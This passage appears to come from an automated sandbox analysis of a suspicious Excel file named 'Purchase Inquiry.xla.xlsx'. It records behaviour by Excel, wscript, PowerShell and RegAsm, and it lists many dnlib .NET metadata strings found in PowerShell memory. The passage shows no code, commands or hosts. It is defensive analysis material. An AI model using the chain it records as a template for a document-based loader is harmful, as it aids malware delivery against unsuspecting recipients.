              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: rpcrtremote.dllJump to behavior
              Source: C:\Windows\SysWOW64\wscript.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{B54F3741-5B07-11CF-A4B0-00AA004A55E8}\InprocServer32Jump to behavior
              Source: Window RecorderWindow detected: More than 3 window changes detected
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dllJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEKey opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItemsJump to behavior
              Source: Purchase Inquiry.xla.xlsxStatic file information: File size 1104384 > 1048576
              Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEFile opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dllJump to behavior
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetHandler source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetMemberRefProps source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumTypeRefs source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetParent source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.ApplyEditAndContinue source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: System.Collections.Generic.IEnumerator<dnlib.DotNet.Pdb.PdbScope>.Current source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineModuleRef source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetNameFromToken source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DeleteFieldMarshal source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindField source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMembers source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DeleteClassLayout source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.IsValidToken source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.Merge source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindMemberRef source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetParamProps source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetParamProps source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.GetSaveSize source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindTypeRef source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.ResetEnum source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumProperties source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetMethodProps source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMembersWithName source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetCustomAttributeValue source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineCustomAttribute source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMethodImpls source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineEvent source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetCustomAttributeByName source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineMethod source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.TranslateSigWithScope source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineUserString source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.Save source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetTypeSpecFromToken source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetPermissionSetProps source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetNativeCallConvFromSig source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.CountEnum source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMethodSemantics source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumFields source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMethods source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetTypeRefProps source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetSigFromToken source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumTypeSpecs source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.CloseEnum source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetModuleRefProps source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SaveToMemory source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineTypeRefByName source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetScopeProps source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindMember source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetPropertyProps source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumParams source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.MergeEnd source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetEventProps source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumCustomAttributes source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetFieldProps source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumModuleRefs source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: System.Collections.Generic.IEnumerator<dnlib.DotNet.Pdb.PdbScope>.get_Current source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetCustomAttributeProps source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetFieldProps source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineParam source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DeleteToken source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetClassLayout source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineNestedType source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumUnresolvedMethods source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumPermissionSets source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Managed source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetRVA source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetModuleFromScope source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineMethodImpl source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefinePinvokeMap source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineSecurityAttributeSet source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetClassLayout source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineMemberRef source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetPermissionSetProps source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetTypeDefProps source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineProperty source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetFieldRVA source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindTypeDefByName source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetModuleProps source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumFieldsWithName source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMemberRefs source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.ResolveTypeRef source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SaveToStream source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetMethodSemantics source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetTypeDefProps source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindMethod source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetNestedClassProps source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DeletePinvokeMap source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.GetTokenFromTypeSpec source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetMethodImplFlags source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetPinvokeMap source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetPinvokeMap source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumSignatures source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetFieldMarshal source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumUserStrings source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetRVA source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefinePermissionSet source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetMethodProps source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
